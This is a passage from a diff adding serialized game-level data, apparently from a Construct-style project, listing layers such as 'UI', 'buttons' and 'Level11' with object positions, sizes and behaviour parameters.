+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4347,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5294.8994140625,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4348,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2858,
+ 1430,
+ 0,
+ 5941,
+ 703,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 4349,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 406,
+ -81,
+ 0,
+ 104.6947937011719,
+ 104.6947937011719,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 539,
+ 4364,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 407,
+ 24,
+ 0,
+ 127,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5354330539703369,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 441,
+ 4379,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 942,
+ 912,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4000,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 971,
+ 912,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4001,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1001,
+ 912,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4002,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 505,
+ 912,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4125,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 534,
+ 912,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4126,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 564,
+ 912,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 4132,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 532,
+ 818,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4221,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1243,
+ 629,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 4040,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1243,
+ 628,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4222,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1485,
+ 499,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 4223,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1485,
+ 498,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4224,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1867,
+ 476,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4120,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3410,
+ 836,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 4121,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3410,
+ 835,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4225,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3815,
+ 811,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4226,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1489,
+ 445,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6776,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3886.7119140625,
+ 829.690673828125,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6777,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "buttons",
+ 6,
+ 928008937057094,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "UI",
+ 7,
+ 269788140583495,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -698,
+ -221,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5043859481811523,
+ 0.5081967115402222,
+ 0,
+ 0,
+ []
+ ],
+ 327,
+ 4365,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1269,
+ -269,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 356,
+ 4366,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 60,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 361,
+ 4367,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 189,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 362,
+ 4368,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 740.5921630859375,
+ 416.3991088867188,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 363,
+ 4369,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 402,
+ 62,
+ 0,
+ 107,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 326,
+ 4371,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 389,
+ -1,
+ 0,
+ 414,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 355,
+ 4372,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "0",
+ 0.45,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -30,
+ 0
+ ]
+ ],
+ [
+ [
+ 28,
+ 22,
+ 0,
+ 42.14814376831055,
+ 37.89653015136719,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 381,
+ 4373,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 120,
+ 25,
+ 0,
+ 39,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.7179487347602844,
+ 0.5128205418586731,
+ 0,
+ 0,
+ []
+ ],
+ 450,
+ 4374,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 76,
+ 25,
+ 0,
+ 36,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.6388888955116272,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 446,
+ 4375,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 873,
+ -73,
+ 0,
+ 100,
+ 100,
+ 0,
+ 2.381202459335327,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 538,
+ 4376,
+ [],
+ [],
+ [
+ 50,
+ 80,
+ 0,
+ 300,
+ 16,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0,
+ 0,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 10
+ ]
+ ],
+ [
+ [
+ 401,
+ 442,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5043859481811523,
+ 0.5081967115402222,
+ 0,
+ 0,
+ []
+ ],
+ 327,
+ 4377,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 417,
+ 252.5,
+ 0,
+ 882,
+ 553,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 357,
+ 4378,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Collisionsidle",
+ 8,
+ 452583483345228,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 9,
+ 573249635924562,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "Level11",
+ 5400,
+ 1500,
+ false,
+ "Gameplay1",
+ 411096273083042,
+ [
+ [
+ "fondo",
+ 0,
+ 136762929586896,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.699999988079071,
+ 0.800000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -79,
+ -50,
+ 0,
+ 10112,
+ 1814,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 306,
+ 4290,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background5",
+ 1,
+ 787298815246508,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -678,
+ 625,
+ 0,
+ 141,
+ 136,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 349,
+ 4277,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 5417.18359375,
+ 493.0818786621094,
+ 0,
+ 40,
+ 800,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 4278,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -19,
+ 749,
+ 0,
+ 40,
+ 1514,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 4279,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -13,
+ -13,
+ 0,
+ 7497,
+ 573,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 331,
+ 4325,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 0",
+ 2,
+ 701019346869869,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.05000000074505806,
+ 0.300000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 274,
+ 94,
+ 0,
+ 250,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 309,
+ 4281,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "fondo2",
+ 3,
+ 977092201426331,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.800000011920929,
+ 0.8500000238418579,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Layer 1",
+ 4,
+ 688872143617457,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.8999999761581421,
+ 0.8999999761581421,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -28,
+ 966,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4350,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 24,
+ 967,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4351,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2383,
+ 956,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4352,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2402,
+ 438,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4353,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4241,
+ -454,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4354,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4556,
+ 1148,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4402,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4277,
+ 1211,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4403,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4042,
+ 1128,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4404,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3785,
+ 1224,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4405,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3288,
+ 1137,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4406,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2994,
+ 1207,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4407,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2719,
+ 1181,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4408,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2499,
+ 1209,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4409,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2274,
+ 1283,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4410,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2089,
+ 1174,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4411,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1821,
+ 1239,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4412,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1764,
+ 1134,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4413,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1507,
+ 1223,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4414,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1285,
+ 1166,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4415,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 912,
+ 1188,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4416,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 616,
+ 1242,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4417,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 468,
+ 1177,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4418,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 150,
+ 1232,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4419,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 342,
+ 1446,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4420,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 625,
+ 1438,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4421,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 827,
+ 1531,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4422,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1110,
+ 1432,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4423,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1393,
+ 1509,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4425,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1658,
+ 1426,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4426,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1886,
+ 1549,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4427,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2143,
+ 1418,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4428,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2396,
+ 1543,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
